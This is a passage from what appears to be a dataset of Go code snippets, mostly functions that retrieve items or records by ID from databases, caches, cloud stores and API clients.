nil\n\n\tcase LibraryItemGraph:\n\t\treturn library.Graphs[id], nil\n\n\tcase LibraryItemCollection:\n\t\treturn library.Collections[id], nil\n\t}\n\n\treturn nil, fmt.Errorf(\"no item found\")\n}", "func (s *InventoryItemServiceOp) Get(id int64, options interface{}) (*InventoryItem, error) {\n\tpath := fmt.Sprintf(\"%s/%d.json\", inventoryItemsBasePath, id)\n\tresource := new(InventoryItemResource)\n\terr := s.client.Get(path, resource, options)\n\treturn resource.InventoryItem, err\n}", "func findItem(id string) Item {\n\tfor _, I := range items {\n\t\tfound := getXidString(I)\n\t\tif id == found {\n\t\t\treturn I\n\t\t}\n\t}\n\t// return empty item if not found\n\treturn Item{}\n}", "func (q *Queue) ReadItemByID(id uint64) (*Item, error) {\n\tq.RLock()\n\tdefer q.RUnlock()\n\treturn q.readItemByID(id)\n}", "func (s Storage) FindItemByID(id int) (core.Item, bool) {\n\treturn core.Item{}, false\n}", "func (out Outlooky) GetItem(folder *ole.IDispatch, arg ...interface{}) *ole.IDispatch {\n\treturn out.GetPropertyObject(folder, \"Item\", arg...)\n}", "func (c *Container) Item(id string) (stow.Item, error) {\n\titem, err := c.Bucket().Object(id).Attrs(c.ctx)\n\tif err != nil {\n\t\tif err == storage.ErrObjectNotExist {\n\t\t\treturn nil, stow.ErrNotFound\n\t\t}\n\t\treturn nil, err\n\t}\n\n\treturn c.convertToStowItem(item)\n}", "func (svc *svc) GetItem(ctx context.Context, query model.ItemQuery) (model.Item, error) {\n\titem, err := svc.repo.GetItem(ctx, query)\n\tif err != nil {\n\t\treturn item, err\n\t}\n\n\treturn item, nil\n}", "func getImageItem(id string) (i *ImageItem) {\n\timageItemsMutex.Lock()\n\ti = imageItems[id]\n\timageItemsMutex.Unlock()\n\treturn\n}", "func (pq *PrefixQueue) getItemByPrefixID(prefix []byte, id uint64) (*Item, error) {\n\t// Check if empty.\n\tif pq.size == 0 {\n\t\treturn nil, ErrEmpty\n\t}\n\n\t// Get the queue for this prefix.\n\tq, err := pq.getQueue(prefix)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Check if out of bounds.\n\tif id <= q.Head || id > q.Tail {\n\t\treturn nil, ErrOutOfBounds\n\t}\n\n\t// Get item from database.\n\titem := &Item{\n\t\tID: id,\n\t\tKey: generateKeyPrefixID(prefix, id),\n\t}\n\n\tif item.Value, err = pq.db.Get(item.Key, nil); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn item, nil\n}", "func GetItem(params items.GetItemParams) model.Item {\n\tdb := dbpkg.Connect()\n\tdefer db.Close()\n\tvar item model.Item\n\n\t//This Gets everything BUT descriptions\n\tdb.Select(\"*\").Where(\"id = ?\", params.ID).Find(&item)\n\n\t// Gets Descriptions\n\titem.Descriptions = getItemsDescriptionByID(params.ID)\n\n\treturn item\n\n}", "func (z *subscriptionStore) Get(tx Transaction, id ...string) *Subscription {\n\tcompoundID := \"\"\n\tswitch len(id) {\n\tcase 1:\n\t\tcompoundID = id[0]\n\tcase 2:\n\t\tcompoundID = keyEncode(id...)\n\tdefault:\n\t\treturn nil\n\t}\n\tbData := tx.Bucket(bucketData, entitySubscription)\n\tif data := bData.Get([]byte(compoundID)); data != nil {\n\t\tsubscription := &Subscription{}\n\t\tif err := subscription.decode(data); err == nil {\n\t\t\treturn subscription\n\t\t}\n\t}\n\treturn nil\n}", "func (e *MatchEvent) GetItem(client *datadragon.Client) (datadragon.Item, error) {\n\treturn client.GetItem(strconv.Itoa(e.ItemID))\n}", "func (e *engine) getItemFromEntityMap(id string) *entityMapItem {\n\te.RLock()\n\tdefer e.RUnlock()\n\n\titem, ok := e.entityMap[id]\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn item\n}", "func LoadByID(ctx context.Context, m *gorpmapper.Mapper, db gorp.SqlExecutor, id string, opts ...gorpmapper.GetOptionFunc) (*sdk.CDNItem, error) {\n\tquery := gorpmapper.NewQuery(\"SELECT * FROM item WHERE id = $1\").Args(id)\n\treturn getItem(ctx, m, db, query, opts...)\n}", "func (s *Store) GetImage(id string) (io.Reader, error) {\n\t// We're going to be reading from our items slice - lock for reading.\n\ts.mutex.RLock()\n\n\t// Unlock once we're done.\n\tdefer s.mutex.RUnlock()\n\n\t// Return the image for the first item we find with a matching ID.\n\tfor i := range s.items {\n\t\tif s.items[i].id == id {\n\t\t\treturn bytes.NewReader(s.items[i].image), nil\n\t\t}\n\t}\n\n\treturn nil, moodboard.ErrNoSuchItem\n}", "func (r *staticCollection) Get(id string) (any, error) {\n\treturn r.items[id], nil\n}", "func (so *SQLOrderItemStore) Get(id string) (*model.OrderItem, error) {\n\toi, err := so.SQLStore.Tx.Get(model.OrderItem{}, id)\n\treturn oi.(*model.OrderItem), err\n}", "func (c Cart) GetByItemID(itemID string) (*Item, error) {\n\tfor _, delivery := range c.Deliveries {\n\t\tfor _, currentItem := range delivery.Cartitems {\n\t\t\tif currentItem.ID == itemID {\n\t\t\t\treturn &currentItem, nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil, errors.Errorf(\"itemId %q in cart does not exist\", itemID)\n}", "func world_itemByID(id int32, meta int16) (world.Item, bool)", "func (db *BotDB) GetItem(item string) (uint64, error) {\n\tvar id uint64\n\terr := db.sqlGetItem.QueryRow(item).Scan(&id)\n\tif err == sql.ErrNoRows || db.CheckError(\"GetItem\", err) != nil {\n\t\treturn 0, err\n\t}\n\treturn id, nil\n}", "func GetItemDets(s *mgo.Session, collName string, id string) Item {\n if s == nil {\n log.Println(\"FATAL: Can not access MongoDB! Application Closing!\")\n os.Exit(1)\n }\n\n defer s.Close()\n s.SetMode(mgo.Monotonic, true)\n\n c := s.DB(\"nebula\").C(collName)\n\n var result Item\n err := c.FindId(bson.ObjectIdHex(id)).One(&result)\n\n if err != nil {\n log.Printf(\"ERROR: Can not access \"+collName+\" collection to get item!\")\n }\n\n return result\n}", "func (purchase *Purchase) GetByID(id int) (Purchase, error) {\n\treturn test, nil\n}", "func (t TokensWrapper) GetItem(itemName string) TokensItem {\n\t// find the item by name in content\n\tfor _, item := range t.Content {\n\t\tif item.Name == itemName {\n\t\t\treturn item\n\t\t}\n\t}\n\tpanic(\"No item found\")\n}", "func (s *EntityStorage) Item(id int) *Entity {\n\tif !s.vec[id].occupied {\n\t\tpanic(\"accessing non occupied id\")\n\t}\n\n\treturn &s.vec[id].value\n}", "func (d *Datastore) Get(key []byte) (interface{}, error) {\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\tsKey := convertKey(key)\n\titem, ok := d.items[sKey]\n\tif !ok {\n\t\treturn nil, errors.New(\"not found\")\n\t} else {\n\t\treturn item.data, nil\n\t}\n}", "func (i *itemsService) GetItem(itemID string) (*domain.Item, *utils.ApplicationError) {\n\treturn nil, &utils.ApplicationError{\n\t\tMessage: \"TO BE IMPLEMENTED\",\n\t\tStatusCode: http.StatusInternalServerError,\n\t}\n}", "func (r *ItemsRepository) findById(id *uuid.UUID) (*Item, error) {\n\tvar item *Item\n\tif query := r.databaseHandler.DB().First(&item, &id); query.Error != nil {\n\t\treturn nil, query.Error\n\t}\n\treturn item, nil\n}", "func (s *LiftingStorage) GetByID(id int) (*lifting.Repetition, error) {\n\treps, err := s.getCollectionWithStruct(getByID, byID{ID: id})\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(reps) == 0 {\n\t\treturn nil, nil\n\t}\n\n\tif len(reps) > 1 {\n\t\treturn nil, fmt.Errorf(\"Multiple return values for SqliteStorage#GetByID, %v\", reps)\n\t}\n\n\treturn &reps[0], nil\n}", "func GetItem(filter interface{}) (GetItemResult, error) {\n\t// create connection to database\n\tctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)\n\tdefer cancel()\n\tc := newConnection(ctx)\n\tdefer c.clt.Disconnect(ctx)\n\n\tvar res bson.M\n\terr := c.collection(itemCollection).FindOne(context.Background(), filter).Decode(&res)\n\tif err == mongo.ErrNoDocuments {\n\t\treturn GetItemResult{\n\t\t\tGotItemCount: 0,\n\t\t\tData: nil,\n\t\t}, nil\n\t} else if err != nil {\n\t\treturn GetItemResult{}, err\n\t}\n\n\treturn GetItemResult{\n\t\tGotItemCount: 1,\n\t\tData: []bson.M{res},\n\t}, nil\n}", "func GetByID(session *mgo.Session, collection *mgo.Collection, id interface{}, i interface{}) {\n\tsession.Refresh()\n\tcollection.FindId(id).One(i)\n}", "func (c *Client) Get(ctx context.Context, key string) (i *Item, err error) {\n\terr = c.do(ctx, func(c *Conn) error {\n\t\ti, err = c.Get(key)\n\t\treturn err\n\t})\n\n\treturn\n}", "func GetItem(w http.ResponseWriter, r *http.Request) {\r\n\r\n\t// get the bearer token\r\n\tbearerHeader := r.Header.Get(\"Authorization\")\r\n\r\n\t// validate token, it will return a User{UserID, Name}\r\n\t_, err := ValidateToken(bearerHeader)\r\n\r\n\tcheckErr(err)\r\n\r\n\t// get all the params from the request\r\n\tvars := mux.Vars(r)\r\n\r\n\t// create the db connection\r\n\tdb := getDBConn()\r\n\r\n\t// close db connection\r\n\tdefer db.Close()\r\n\r\n\t// prepare query\r\n\tstmtOut, err := db.Prepare(\"SELECT * FROM items WHERE itemID=?\")\r\n\r\n\t// close stmtOut request\r\n\tdefer stmtOut.Close()\r\n\r\n\tcheckErr(err)\r\n\r\n\tvar item item\r\n\r\n\terr = stmtOut.QueryRow(vars[\"itemID\"]).Scan(&item.ItemID, &item.MerchantID, &item.Name)\r\n\r\n\tcheckErr(err)\r\n\r\n\t// return the order in json format\r\n\tjson.NewEncoder(w).Encode(item)\r\n}", "func (op Client) GetItem(vault VaultName, item ItemName) (ItemMap, error) {\n\tvaultArg := getArg(\"vault\", string(vault))\n\tres, err := op.runCmd(\"get\", \"item\", string(item), vaultArg)\n\tif err != nil {\n\t\treturn make(ItemMap), fmt.Errorf(\"error getting item: %s\", err)\n\t}\n\tim, err := parseItemResponse(res)\n\tif err != nil {\n\t\treturn im, fmt.Errorf(\"error parsing response: %s\", err)\n\t}\n\treturn im, nil\n}", "func (db Database) SearchItemByID(itemID string) (models.Item, error) {\n\titem := models.Item{}\n\n\tquery := `SELECT * FROM items WHERE id = $1;`\n\n\trow := db.Conn.QueryRow(query, itemID)\n\n\tswitch err := row.Scan(&item.ID, &item.Name, &item.Description, &item.Creation); err {\n\tcase sql.ErrNoRows:\n\t\treturn item, ErrNoMatch\n\tdefault:\n\t\treturn item, err\n\t}\n}", "func Get(id string, params *InvoiceItemParams) (*InvoiceItem, error) {\n\treturn getC().Get(id, params)\n}", "func GetContentItem(id string) (bson.M, error) {\n\tobjID, _ := primitive.ObjectIDFromHex(id)\n\tresult := db.Collection(contentCollection).FindOne(context.Background(), bson.M{\"_id\": objID})\n\tif result.Err() != nil {\n\t\tlog.Fatal(result.Err())\n\t\treturn nil, result.Err()\n\t}\n\tdoc := bson.M{}\n\terr := result.Decode(&doc)\n\treturn doc, err\n}", "func (c *container) Item(id string) (stow.Item, error) {\n\tpath := filepath.Join(c.location.config.basePath, c.name, filepath.FromSlash(id))\n\tinfo, err := c.location.sftpClient.Stat(path)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn nil, stow.ErrNotFound\n\t\t}\n\t\treturn nil, err\n\t}\n\n\tif info.IsDir() {\n\t\treturn nil, errors.New(\"unexpected directory\")\n\t}\n\n\treturn &item{\n\t\tcontainer: c,\n\t\tpath: id,\n\t\tsize: info.Size(),\n\t\tmodTime: info.ModTime(),\n\t\tmd: getFileMetadata(info),\n\t}, nil\n}", "func (a *Client) PublicGetItemByAppID(params *PublicGetItemByAppIDParams, authInfo runtime.ClientAuthInfoWriter) (*PublicGetItemByAppIDOK, *PublicGetItemByAppIDNotFound, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewPublicGetItemByAppIDParams()\n\t}\n\n\tif params.Context == nil {\n\t\tparams.Context = context.Background()\n\t}\n\n\tif params.RetryPolicy != nil {\n\t\tparams.SetHTTPClientTransport(params.RetryPolicy)\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"publicGetItemByAppId\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/platform/public/namespaces/{namespace}/items/byAppId\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &PublicGetItemByAppIDReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tswitch v := result.(type) {\n\n\tcase *PublicGetItemByAppIDOK:\n\t\treturn v, nil, nil\n\n\tcase *PublicGetItemByAppIDNotFound:\n\t\treturn nil, v, nil\n\n\tdefault:\n\t\treturn nil, nil, fmt.Errorf(\"Unexpected Type %v\", reflect.TypeOf(v))\n\t}\n}", "func Get(stub shim.ChaincodeStubInterface, item interface{}, id string) (error) {\n\tlogger.Infof(\"Getting %v with id %v\", reflect.TypeOf(item), id)\n\tif id == \"\" { return errors.New(\"Id is empty.\")}\n\n\tb, err := stub.GetState(id)\n\tif err != nil { return errors.Wrap(err, \"Error getting \"+reflect.TypeOf(item).Name()+\" from ledger: \"+id)}\n\n\tif string(b) == \"\" { return errors.New(\"Not found: \"+reflect.TypeOf(item).Name()+\" with id \"+id)}\n\treturn json.Unmarshal(b, &item)\n}", "func (api *apiConfig) GetItem(cName, cSlug, cID, iName, iID string) ([]byte, error) {\n\t// If an override was configured, use it instead.\n\tif api.getItem != nil {\n\t\treturn api.getItem(cName, cSlug, cID, iName, iID)\n\t}\n\n\tvar items [][]byte\n\tvar err error\n\n\t// Just quietly return nothing since a collection name & slug & ID were not provided.\n\tif cName == \"\" && cSlug == \"\" && cID == \"\" {\n\t\treturn nil, nil\n\t}\n\n\t// Just quietly return nothing since neither an item name nor an ID was provided.\n\tif iName == \"\" && iID == \"\" {\n\t\treturn nil, nil\n\t}\n\n\tif cName != \"\" {\n\t\titems, err = api.GetAllItemsInCollectionByName(cName, 10)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to get all items in collection by collection name; error: %+v\", err)\n\t\t}\n\t} else if cSlug != \"\" {\n\t\titems, err = api.GetAllItemsInCollectionBySlug(cSlug, 10)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to get all items in collection by collection slug; error: %+v\", err)\n\t\t}\n\t} else {\n\t\titems, err = api.GetAllItemsInCollectionByID(cID, 10)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to get all items in collection by collection ID; error: %+v\", err)\n\t\t}\n\t}\n\n\tfor _, rawItem := range items {\n\t\titem := &CollectionItem{}\n\t\tif err2 := json.Unmarshal(rawItem, item); err2 != nil {\n\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\"GetItem() did not receive the proper collection item type: %+v\",\n\t\t\t\terr2,\n\t\t\t)\n\t\t}\n\n\t\tif iName != \"\" && item.Name != iName {\n\t\t\tcontinue\n\t\t}\n\n\t\tif iID != \"\" && item.ID != iID {\n\t\t\tcontinue\n\t\t}\n\n\t\treturn rawItem, nil\n\t}\n\n\treturn nil, nil\n}", "func (is *ItemServices) Item(ctx context.Context, id string) (*entity.Item, []error) {\n\titm, errs := is.itemRepo.Item(ctx, id)\n\tif len(errs) > 0 {\n\t\treturn nil, errs\n\t}\n\treturn itm, errs\n}", "func (s *Store) Get(k string, v interface{}) (found bool, err error) {\n\tif err := util.CheckKeyAndValue(k, v); err != nil {\n\t\treturn false, err\n\t}\n\n\titem := &Item{\n\t\tTable: s.Sql.table,\n\t\tSplit: s.Sql.split,\n\t}\n\tfound, err = s.Sql.engine.Where(\"id = ?\", k).Get(item)\n\tif err != nil || !found {\n\t\treturn false, err\n\t}\n\n\treturn true, s.Codec.Unmarshal([]byte(item.Data), v)\n}", "func (s MyEntityManager) Get(id uint64) ecs.Entity {\n\treturn *s.items[id].entity\n}", "func (s *StorageService) Get(\n\tuserID *mytype.OID,\n\tkey string,\n) (*minio.Object, error) {\n\tobjectName := fmt.Sprintf(\n\t\t\"%s/%s/%s/%s\",\n\t\tkey[:2],\n\t\tkey[3:5],\n\t\tkey[6:8],\n\t\tkey[9:],\n\t)\n\tobjectPath := strings.Join(\n\t\t[]string{\n\t\t\tuserID.Short,\n\t\t\tobjectName,\n\t\t},\n\t\t\"/\",\n\t)\n\n\tmylog.Log.WithFields(logrus.Fields{\n\t\t\"user_id\": userID.String,\n\t\t\"key\": key,\n\t}).Info(util.Trace(\"object found\"))\n\treturn s.svc.GetObject(\n\t\ts.bucket,\n\t\tobjectPath,\n\t\tminio.GetObjectOptions{},\n\t)\n}", "func (r Expansions) Get(id string) (res string, ok bool) { res, ok = r[id]; return res, ok }", "func (c *memcache) Get(k string, obj interface{}) (*Item, error) {\n\ttmp, found := c.items.Load(k)\n\tif !found {\n\t\treturn nil, nil\n\t}\n\titem := tmp.(*Item)\n\t//obj = item.Object\n\t//fmt.Println(\"memcache get cache item:\",item.String())\n\treturn item, nil\n}", "func (es *etcdStore) GetByID(imageID string) (*Image, error) {\n\timage := &Image{}\n\n\tmetadataKey := es.metadataKey(imageID)\n\tresp, err := es.client.Get(metadataKey, false, false)\n\tif err != nil {\n\t\tetcdErr := err.(*etcd.EtcdError)\n\t\tif etcdErr.ErrorCode == etcderr.EcodeKeyNotFound {\n\t\t\treturn nil, ErrNotFound\n\t\t}\n\n\t\tlog.WithFields(etcdLogFields).WithFields(log.Fields{\n\t\t\t\"error\": err,\n\t\t\t\"key\": metadataKey,\n\t\t}).Error(\"failed to look up image\")\n\t\treturn nil, err\n\t}\n\n\tif err := json.Unmarshal([]byte(resp.Node.Value), image); err != nil {\n\t\tlog.WithFields(etcdLogFields).WithFields(log.Fields{\n\t\t\t\"error\": err,\n\t\t\t\"key\": metadataKey,\n\t\t\t\"value\": resp.Node.Value,\n\t\t}).Error(\"invalid image json\")\n\t\treturn nil, err\n\t}\n\n\timage.Store = es\n\treturn image, nil\n}", "func (repo *MySQLRepository) FindItemByID(ID string) (*item.Item, error) {\n\tvar item item.Item\n\n\tselectQuery := `SELECT id, name, description, created_at, created_by, modified_at, modified_by, version, COALESCE(tags, \"\")\n\t\tFROM item i\n\t\tLEFT JOIN (\n\t\t\tSELECT item_id, \n\t\t\tGROUP_CONCAT(tag) as tags\n\t\t\tFROM item_tag GROUP BY item_id\n\t\t)AS it ON i.id = it.item_id\n\t\tWHERE i.id = ?`\n\n\tvar tags string\n\terr := repo.db.\n\t\tQueryRow(selectQuery, ID).\n\t\tScan(\n\t\t\t&item.ID, &item.Name, &item.Description,\n\t\t\t&item.CreatedAt, &item.CreatedBy,\n\t\t\t&item.ModifiedAt, &item.ModifiedBy,\n\t\t\t&item.Version, &tags)\n\n\tif err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn nil, nil\n\t\t}\n\n\t\treturn nil, err\n\t}\n\n\titem.Tags = constructTagArray(tags)\n\n\treturn &item, nil\n}", "func (s Store) GetFromID(id string) (l *Lease) {\n\tnewl := &Lease{}\n\ti, err := strconv.ParseInt(id, 10, 64)\n\tif err != nil {\n\t\tlogger.Error(\"Id conversion error\", err)\n\t\treturn nil\n\t}\n\tnewl, _ = s.leases.ID(i)\n\treturn newl\n}", "func (it *Item) ID() int64 { return it.id }", "func ItemID(name string) (string, error) {\n\t// the id of gold is the special string\n\tif name == ItemIDGold {\n\t\treturn name, nil\n\t}\n\n\t// if we have an entry for that item, use it\n\tif item, ok := itemIDs[strings.ToLower(name)]; ok {\n\t\treturn item, nil\n\t}\n\n\t// there was no entry for that name\n\treturn \"\", errors.New(\"I don't recognize this item: \" + name)\n}", "func (s *CqlStore) Read(id ID) (Item, error) {\n\tvar item Item\n\tsts, err := s.History(id, 1)\n\tif err != nil {\n\t\treturn item, err\n\t}\n\tif len(sts) == 1 && sts[0].Status == \"ALIVE\" {\n\t\titem = sts[0].Item\n\t}\n\treturn item, nil\n}", "func (s *Store) Get(id string) (e Entry, exists bool) {\n\te, exists = (*s)[id]\n\treturn\n}", "func (d *Dao) FindById(id interface{}) (*Item, error) {\n\treturn d.FindOne(bson.M{\"_id\": id})\n}", "func (s *ClientStore) GetByID(id string) (oauth2.ClientInfo, error) {\n\tif id == \"\" {\n\t\treturn nil, nil\n\t}\n\n\tvar item TokenStoreItem\n\n\tres, err := s.client.Search(s.index).Query(elastic.NewQueryStringQuery(\"id:\\\"\" + id + \"\\\"\")).Size(1).Do(context.TODO())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif res.Hits == nil || len(res.Hits.Hits) == 0 {\n\t\treturn nil, err\n\t}\n\n\titemJson, err := res.Hits.Hits[0].Source.MarshalJSON()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := jsoniter.Unmarshal(itemJson, &item); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn s.toClientInfo(item.Data)\n}", "func GetItemHandler(w *http.ResponseWriter, r *http.Request, store *common.CacheStore) {\n\tkey := mux.Vars(r)[\"key\"]\n\titem, ok := store.Get(key)\n\tif (ok == false) {\n\t\tb, _ := json.Marshal(GetItemError{\n\t\t\tMessage: \"item not found\",\n\t\t})\n\t\tfmt.Fprintf(*w, string(b))\n\t\treturn\n\t}\n\n\tb, _ := json.Marshal(GetItemResponse{\n\t\tKey: key,\n\t\tData: item,\n\t})\n\tfmt.Fprintf(*w, string(b))\n}", "func (c *Client) GetItems(id int) (Item, error) {\n\tc.defaultify()\n\tvar item Item\n\tresp, err := http.Get(fmt.Sprintf(\"%s/item/%d.json\", c.apiBase, id))\n\tif err != nil {\n\t\treturn item, err\n\t}\n\tdefer resp.Body.Close()\n\tdec := json.NewDecoder(resp.Body)\n\terr = dec.Decode(&item)\n\tif err != nil {\n\t\treturn item, err\n\t}\n\treturn item, nil\n}", "func (c *Client) Item(itemSlugAndID string) (*response.Item, error) {\n\tvar data *d3.Item\n\n\tep := endpointItem(c.region, itemSlugAndID)\n\n\tq, err := c.get(ep, &data)\n\n\tif nil != err {\n\t\treturn nil, err\n\t}\n\n\treturn &response.Item{\n\t\tData: data,\n\t\tEndpoint: ep,\n\t\tQuota: q,\n\t\tRegion: c.region,\n\t}, nil\n}", "func (c *Chromium) GetItem(itemName string) (data.Item, error) {\n\titemName = strings.ToLower(itemName)\n\tif item, ok := chromiumItems[itemName]; ok {\n\t\tm, err := GetItemPath(c.profilePath, item.mainFile)\n\t\tif err != nil {\n\t\t\tlogger.Debugf(\"%s find %s file failed, ERR:%s\", c.name, item.mainFile, err)\n\t\t}\n\t\ti := item.newItem(m, \"\")\n\t\treturn i, nil\n\t} else {\n\t\treturn nil, throw.ErrorItemNotSupported()\n\t}\n}", "func readItem(tableName, channelID string) item {\n\t// Create DynamoDB client\n\tmySession := session.Must(session.NewSession())\n\n\t// Create a DynamoDB client with additional configuration\n\tsvc := dynamodb.New(mySession, aws.NewConfig().WithRegion(\"eu-west-1\"))\n\n\tresult, err := svc.GetItem(&dynamodb.GetItemInput{\n\t\tTableName: aws.String(tableName),\n\t\tKey: map[string]*dynamodb.AttributeValue{\n\t\t\t\"ChanelID\": {\n\t\t\t\tS: aws.String(channelID),\n\t\t\t},\n\t\t},\n\t})\n\tif err != nil {\n\t\tfmt.Println(err.Error())\n\t}\n\n\titem := item{}\n\n\terr = dynamodbattribute.UnmarshalMap(result.Item, &item)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"Failed to unmarshal Record, %v\", err))\n\t}\n\n\treturn item\n}", "func (us *UpdateService) GetItem(fullname string) (UpdateServiceItem, error) {\n\tif us.Proto == \"\" || us.Namespace == \"\" || us.Repository == \"\" {\n\t\treturn UpdateServiceItem{}, errors.New(\"Fail to get a meta with empty Proto/Namespace/Repository\")\n\t}\n\n\tif fullname == \"\" {\n\t\treturn UpdateServiceItem{}, errors.New(\"'FullName' should not be empty\")\n\t}\n\n\tfor _, item := range us.Items {\n\t\tif item.FullName == fullname {\n\t\t\treturn item, nil\n\t\t}\n\t}\n\n\treturn UpdateServiceItem{}, fmt.Errorf(\"Cannot find the meta item: %s\", fullname)\n}", "func (r *RecordDB) ForID(ctx context.Context, id insolar.ID) (record.Material, error) {\n\treturn r.get(id)\n}", "func (c *Cache) GetItem(itemName string) interface{} {\n\n\tc.lock.RLock()\n\tdefer c.lock.RUnlock()\n\titem, check := c.items[itemName]\n\tif !(check) || (CheckExpiry(item.expiration) == true) {\n\t\treturn nil\n\t}\n\n\treturn item.data\n}", "func fetch(rowKey shared.EntityKey) ItemV1 {\n\texampleMutex.Lock()\n\tdefer exampleMutex.Unlock()\n\texampleItem.ID = rowKey.ID\n\treturn exampleItem\n}", "func (cs *CryptoService) GetByID(c *gin.Context) {\n\t//Take start time of handler function call\n\tstart := time.Now()\n\t//Bind POST Json\n\tvar findid model.CryptoQuery\n\terr := c.BindJSON(&findid)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\t//The key for our cache\n\tid := fmt.Sprintf(\"%s:%d\", \"ID\", findid.ID)\n\t//Get item from cache using above's key\n\tb, ok := cs.mycache.Get(id)\n\tif !ok {\n\t\tlog.Println(\"Cannot get cache on\", id)\n\t}\n\t//If item exist, then return it immediately\n\tif b != nil {\n\t\tlog.Println(\"Get data for\", id, \"from cache\")\n\t\tHandleSuccessWithData(c, b, id, \"Success GetID\", start)\n\t\treturn\n\t}\n\n\t//If item in cache does not exist yet, then fetch data from DB\n\tdata, err := cs.repo.GetByID(findid.ID)\n\tif err != nil {\n\t\tc.JSON(404, gin.H{\n\t\t\t\"error\": \"Cannot find data\",\n\t\t})\n\t\treturn\n\t}\n\n\t//Set cache with our key and the fetched data from DB, and set it to\n\t//be available for the next 2 minute\n\tcs.mycache.Set(id, data, 2*time.Minute)\n\tlog.Println(\"Cache saved on \", id)\n\tHandleSuccessWithData(c, data, id, \"Success GetID\", start)\n}", "func (slir *ShoppingListItemRepository) GetByGUID(guid string, relations string) *ShoppingListItem {\n\n\tshoppingListItem := &ShoppingListItem{}\n\n\tDB := slir.DB.Model(&ShoppingListItem{})\n\n\tif relations != \"\" {\n\t\tDB = slir.LoadRelations(DB, relations)\n\t}\n\n\tDB.Where(&ShoppingListItem{GUID: guid}).First(&shoppingListItem)\n\n\treturn shoppingListItem\n}", "func (s ItemService) Item(id string) (*dom.Item, *dom.Error) {\n\tvar mlResponse dom.Item\n\n\titemRes, err := request(fmt.Sprintf(\"%s/%s\", s.Config.MLApi.Host, id))\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tchildrenRes, err := request(fmt.Sprintf(\"%s/%s/children\", s.Config.MLApi.Host, id))\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuError := json.Unmarshal(itemRes, &mlResponse)\n\n\tif uError != nil {\n\t\treturn nil, dom.UnknownError()\n\t}\n\n\tuError = json.Unmarshal(childrenRes, &mlResponse.Children)\n\n\tif uError != nil {\n\t\treturn nil, dom.UnknownError()\n\t}\n\n\treturn &mlResponse, nil\n}", "func (s *DynamoDB) Get(ctx context.Context, kind, id string, v interface{}) error {\n\tinput := &dynamodb.GetItemInput{\n\t\tTableName: aws.String(kind),\n\t\tKey: map[string]*dynamodb.AttributeValue{\n\t\t\t\"Id\": {\n\t\t\t\tS: aws.String(id),\n\t\t\t},\n\t\t},\n\t}\n\tresult, err := s.client.GetItemWithContext(ctx, input)\n\tif err != nil {\n\t\tif aerr, ok := err.(awserr.Error); ok {\n\t\t\tswitch aerr.Code() {\n\t\t\tcase dynamodb.ErrCodeResourceNotFoundException:\n\t\t\t\treturn datastore.ErrNotFound\n\t\t\tdefault:\n\t\t\t\ts.logger.Error(\"failed to retrieve entity: aws error\",\n\t\t\t\t\tzap.String(\"id\", id),\n\t\t\t\t\tzap.String(\"kind\", kind),\n\t\t\t\t\tzap.Error(err),\n\t\t\t\t)\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\ts.logger.Error(\"failed to retrieve entity\",\n\t\t\tzap.String(\"id\", id),\n\t\t\tzap.String(\"kind\", kind),\n\t\t\tzap.Error(err),\n\t\t)\n\t\treturn err\n\t}\n\n\treturn dynamodbattribute.UnmarshalMap(result.Item, v)\n}", "func (ps *ProductService) GetByID(ctx context.Context, id int) (*Product, *Response, error) {\n\tp := fmt.Sprintf(\"products/%d\", id)\n\treq, err := ps.client.NewRequest(\"GET\", p, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tproduct := new(Product)\n\tresp, err := ps.client.Do(ctx, req, product)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn product, resp, nil\n}", "func (gi *Sensor) GetByID(db *pg.DB) (Sensor, error) {\r\n\tlog.Printf(\"===>sensorItem.GetByID(SensorID=%d)\", gi.ID)\r\n\r\n\t//getErr := db.Select(gi)\r\n\tgetErr := db.Model(gi).Where(\"id = ?0\", gi.ID).Select()\r\n\tif getErr != nil {\r\n\t\tlog.Printf(\"Error while selecting item, Reason %v\\n\", getErr)\r\n\t\treturn *gi, getErr\r\n\t}\r\n\tlog.Printf(\"Select successful in sensorItem.GetById() sensor=%v\\n\", *gi)\r\n\treturn *gi, nil\r\n}", "func (store *DynamoDBFeatureStore) Get(kind ld.VersionedDataKind, key string) (ld.VersionedData, error) {\n\tresult, err := store.Client.GetItem(&dynamodb.GetItemInput{\n\t\tTableName: aws.String(store.Table),\n\t\tConsistentRead: aws.Bool(true),\n\t\tKey: map[string]*dynamodb.AttributeValue{\n\t\t\ttablePartitionKey: {S: aws.String(kind.GetNamespace())},\n\t\t\ttableSortKey: {S: 